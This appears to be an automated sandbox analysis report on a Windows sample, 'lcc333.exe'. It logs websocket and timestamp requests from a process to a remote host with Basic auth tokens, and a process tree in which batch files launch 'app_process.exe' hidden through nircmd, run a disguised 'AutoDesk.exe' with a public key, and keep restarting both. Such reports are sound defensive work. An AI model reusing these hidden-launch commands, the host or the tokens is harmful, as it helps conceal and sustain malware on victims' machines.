2024-11-25 10:11:54 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:11:55 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:54 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:55 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 31 34 Data Ascii: 1732529514

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49951	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:56 UTC	378	OUT	GET /v2/ws?timestamp=1732529514 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: Ynt1PuqpG/6BQxTB/m8e8w== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86NHViVDhjVmF1NWREaDhwaDJDMmpHV0FKS0p0VGk5Sm9vekxybzRQdVZIOFFvUHJaeWNFODFZZWE1cnZhb3RKVVpKdzlCNEV2ckZGdzNOUXpIQ0NNdW11Rg==
2024-11-25 10:11:56 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:56 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49950	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:11:56 UTC	378	OUT	GET /v2/ws?timestamp=1732529514 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: Njx82qrHiA3W9ov4hAzCKw== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6NW1KWFBSRVR6YWdXaVFCOVVLakN4RVZnN3NBUllpbkdheG1RNUg1TUplY1g5aFg4TlhkV1JVd0NiMXdQZzJ5MUNtR3pTZEJUbkNqV3o1cGJwVGdlQW1TUQ==
2024-11-25 10:11:56 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:11:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:11:56 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49963	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:01 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:01 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:01 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:01 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 32 31 Data Ascii: 1732529521

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49962	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:01 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:01 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:01 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:01 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 32 31 Data Ascii: 1732529521

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49967	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:02 UTC	378	OUT	GET /v2/ws?timestamp=1732529521 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: 1GumYcukGPwro1eUNHrDMw== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MjZpaXdzUmF6Sm9oZmdMZHJ0UWZvR2IyekFCU1BhcER6V3pUNzlVVWY5RWF4YjV5TlJ5NnNMS3FkY21SUHV0UWJXbnVTNnlxSnBnWWFjelFUNEpRajNuZg==
2024-11-25 10:12:03 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:03 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49969	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:02 UTC	378	OUT	GET /v2/ws?timestamp=1732529521 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: qK3WihSrquxN35r2ZCS5Lw== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86M3BtanFTc1ljSk1CZEFaYnN5dkc3bUpYZVlFVW1ucGtkczlQanJtdzdTeFJmemRRWGRCcGJOM1M4OXBncXhBTmlreW9Ycm02YVlINDRndEo5Q3p1WDRkZA==
2024-11-25 10:12:03 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:03 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49981	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:07 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:08 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:07 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:08 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 32 37 Data Ascii: 1732529527

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49982	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:07 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:08 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:08 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:08 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 32 38 Data Ascii: 1732529528

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49986	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:09 UTC	378	OUT	GET /v2/ws?timestamp=1732529527 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: 0dWhl/NTdbOrVDaVKZ/Hdw== authorization: Basic NEFDejdkZXhxYkFONzF6RDVXQU5aTEtEWVF1aHo4RDRqNnBka215S1E5MVE6MkxWRGRZVThZUk1tUWpFMU1HSDZoVEw0ZXF1bjZUWTc2TXlFNWhXQlZqV2pGNlRrcHBLQm5BVVdvcXpCc21RZVdqakdjeHZURTRzYm9KOTNzeTNMMmNqMw==
2024-11-25 10:12:09 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:09 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49987	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:09 UTC	374	OUT	GET /v2/ws?timestamp=1732529528 HTTP/1.1 Host: ec1ipse.me Connection: upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: SgbzhYTM+TLQu0KGeek80g== authorization: Basic N0tENVh4aXVUY2dlYnZ1WHlzcTNzRlhHUzRBMlVaVGtBTmtwanVaSkVQcm86dHdEaDJCMTVjTGZkcmtldkVwRjRTb2pzdlcxam8yY3prb3Y1S0FVSFpEUmIySkJhZmFQelozZ3JMNFFaN1Q4QWFZN0gyWVhUZ3Z0RmsyVlBGb2NQUmZx
2024-11-25 10:12:09 UTC	285	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:09 UTC	44	IN	Data Raw: 60 55 70 67 72 61 64 65 60 20 68 65 61 64 65 72 20 64 69 64 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 27 77 65 62 73 6f 63 6b 65 74 27 Data Ascii: `Upgrade` header did not include 'websocket'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49998	172.233.211.124	443	356	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:14 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:14 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:14 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:14 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 33 34 Data Ascii: 1732529534

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50001	172.233.211.124	443	6444	C:\Windows\System32\app_process.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 10:12:14 UTC	58	OUT	GET /timestamp HTTP/1.1 accept: / host: ec1ipse.me
2024-11-25 10:12:14 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 10:12:14 GMT Content-Length: 10 Connection: close vary: origin, access-control-request-method, access-control-request-headers access-control-allow-origin: *
2024-11-25 10:12:14 UTC	10	IN	Data Raw: 31 37 33 32 35 32 39 35 33 34 Data Ascii: 1732529534

Target ID:	0
Start time:	05:10:11
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\lcc333.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lcc333.exe"
Imagebase:	0x7ff714c80000
File size:	8'547'394 bytes
MD5 hash:	A236CDEC4DD41FB49C3B5AFC64B6F878
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:10:12
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\lcc333.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lcc333.exe"
Imagebase:	0x7ff714c80000
File size:	8'547'394 bytes
MD5 hash:	A236CDEC4DD41FB49C3B5AFC64B6F878
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c python.bat
Imagebase:	0x7ff750910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c play.bat
Imagebase:	0x7ff750910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat
Imagebase:	0x7ff750910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Imagebase:	0x7ff750910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5
Imagebase:	0x7ff7af6d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\nircmd.exe
Wow64 process (32bit):	false
Commandline:	nircmd exec hide "app_process.exe"
Imagebase:	0x140000000
File size:	119'808 bytes
MD5 hash:	4A9DA765FD91E80DECFD2C9FE221E842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: C:\Windows\System32\nircmd.exe, Author: Joe Security
Antivirus matches:	Detection: 4%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 120
Imagebase:	0x7ff7af6d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\app_process.exe
Wow64 process (32bit):	false
Commandline:	"app_process.exe"
Imagebase:	0x7ff791a00000
File size:	6'063'616 bytes
MD5 hash:	7226BE407EFCC671016739CAD3D26220
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\AutoDesk.exe
Wow64 process (32bit):	false
Commandline:	AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Imagebase:	0x7ff7a8e50000
File size:	21'075'456 bytes
MD5 hash:	684CBE7FDADD9BE38FBFE427040B2637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 17%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\nircmd.exe
Wow64 process (32bit):	false
Commandline:	nircmd exec hide "app_process.exe"
Imagebase:	0x140000000
File size:	119'808 bytes
MD5 hash:	4A9DA765FD91E80DECFD2C9FE221E842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\app_process.exe
Wow64 process (32bit):	false
Commandline:	"app_process.exe"
Imagebase:	0x7ff791a00000
File size:	6'063'616 bytes
MD5 hash:	7226BE407EFCC671016739CAD3D26220
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:10:53
Start date:	25/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 600
Imagebase:	0x7ff7af6d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:12:01
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im AutoDesk.exe
Imagebase:	0x7ff6e5270000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:12:02
Start date:	25/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Imagebase:	0x7ff750910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 3812, Parent PID: 320

General

Target ID:	27
Start time:	05:12:02
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:12:02
Start date:	25/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 120
Imagebase:	0x7ff7af6d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	05:12:02
Start date:	25/11/2024
Path:	C:\Windows\System32\AutoDesk.exe
Wow64 process (32bit):	false
Commandline:	AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Imagebase:	0x7ff7a8e50000
File size:	21'075'456 bytes
MD5 hash:	684CBE7FDADD9BE38FBFE427040B2637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im app_process.exe
Imagebase:	0x7ff6e5270000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\nircmd.exe
Wow64 process (32bit):	false
Commandline:	nircmd exec hide "app_process.exe"
Imagebase:	0x140000000
File size:	119'808 bytes
MD5 hash:	4A9DA765FD91E80DECFD2C9FE221E842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\app_process.exe
Wow64 process (32bit):	false
Commandline:	"app_process.exe"
Imagebase:	0x7ff791a00000
File size:	6'063'616 bytes
MD5 hash:	7226BE407EFCC671016739CAD3D26220
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\nircmd.exe
Wow64 process (32bit):	false
Commandline:	nircmd exec hide "app_process.exe"
Imagebase:	0x140000000
File size:	119'808 bytes
MD5 hash:	4A9DA765FD91E80DECFD2C9FE221E842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\app_process.exe
Wow64 process (32bit):	false
Commandline:	"app_process.exe"
Imagebase:	0x7ff791a00000
File size:	6'063'616 bytes
MD5 hash:	7226BE407EFCC671016739CAD3D26220
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:12:15
Start date:	25/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 600
Imagebase:	0x7ff7af6d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	58

Executed Functions

Function 00007FF714C889E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF714C89390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF714C845F4,00000000,00007FF714C81985), ref: 00007FF714C893C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF714C83F77), ref: 00007FF714C88A3B
